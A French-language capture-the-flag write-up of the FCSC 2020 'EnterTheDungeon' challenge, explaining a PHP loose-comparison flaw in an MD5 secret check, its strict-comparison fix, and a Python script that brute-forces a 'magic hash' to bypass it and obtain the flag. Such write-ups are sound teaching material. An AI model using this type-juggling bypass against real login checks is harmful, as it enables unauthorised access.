Les chatons ont la réponse – FCSC 2020 // EnterTheDungeon


petit dragon valide ce message !

Intro

Une page verte, un chateau en ASCII, une invitation a revenir en étant le dungeon_master, et surtout un message qui nous prévient d’une vulnérabilité dans le formulaire ! On va s’amuser mes chatons !

Your Princess is in another castle !

On commence par regarder la source de la page, pour plusieurs raisons, la première, le fond vert est VRAIMENT atroce, et la seconde nous allons avoir plus d’informations dedans à mon avis.

la source de la page, c’est mieux en blanc non ?

Regardons un peu plus sérieusement, si l’on met le château de côté, je vois un commentaire qui est super intéressant (n.b : NE JAMAIS LAISSER DE COMMENTAIRE COMME CELA SUR UN SITE!):

merci pour les informations

Nous savons désormais que nous avons deux autres documents sur la racine, check_secret.php et check_secret.txt.
Ma curiosité me pousse d’abord à ouvrir le texte pour voir si un mot de passe admin ou une autre page se cache dedans le temps de la réparation de l’authentification, mais j’ai ENCORE MIEUX, j’ai la méthode d’authentification !

test impossible ? si cela était bien implémenté en effet

Nous allons mettre à mal cette affirmation de test impossible, dans ce bloc, il y a un problème, je vais vous montrer :
if(md5($_GET[‘secret’]) == $_GET[‘secret’])
devrait être en fait :
if(md5($_GET[‘secret’]) === $_GET[‘secret’])

Vous avez vu la différence ? Nous avons rajouté un “=”, qui rend la comparaison STRICTEMENT équivalente. Mais pourquoi cela est-il important ? Lors de la compétition, j’ai appris que PHP interpréterait notre code comme un nombre flottant, la notation scientifique d’un nombre flottant c’est 0e…., nous allons donc chercher une collision de Hash MD5.

Mais dis-moi Jamy, c’est quoi une collision de Hash ?

Une très bonne source sur la collision de Hash se trouve ici, c’est en anglais, mais cela explique très bien ce que nous allons chercher.

Exploit.py

#!/usr/bin/env python
import hashlib
import re

prefix = '0e'


def breakit():
    iters = 0
    while 1:
        s = prefix + str(iters)
        hashed_s = hashlib.md5(s).hexdigest()
        iters = iters + 1
        r = re.match('^0e[0-9]{30}', hashed_s)
        if r:
            print "[+] found! md5( {} ) ---> {}".format(s, hashed_s)
            print "[+] in {} iterations".format(iters)
            exit(0)

        if iters % 1000000 == 0:
            print "[+] current value: {}       {} iterations, continue...".format(s, iters)

breakit()

Exploitation

Une fois le code remplissant la fonction trouvé, nous allons pouvoir l’utiliser sur la page :

Puis retourner sur la page d’accueil et récupérer le joli flag :

ce fond vert …
FCSC{f67aaeb3b15152b216cb1addbf0236c66f9d81c4487c4db813c1de8603bb2b5b}

Laisser un commentaire

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.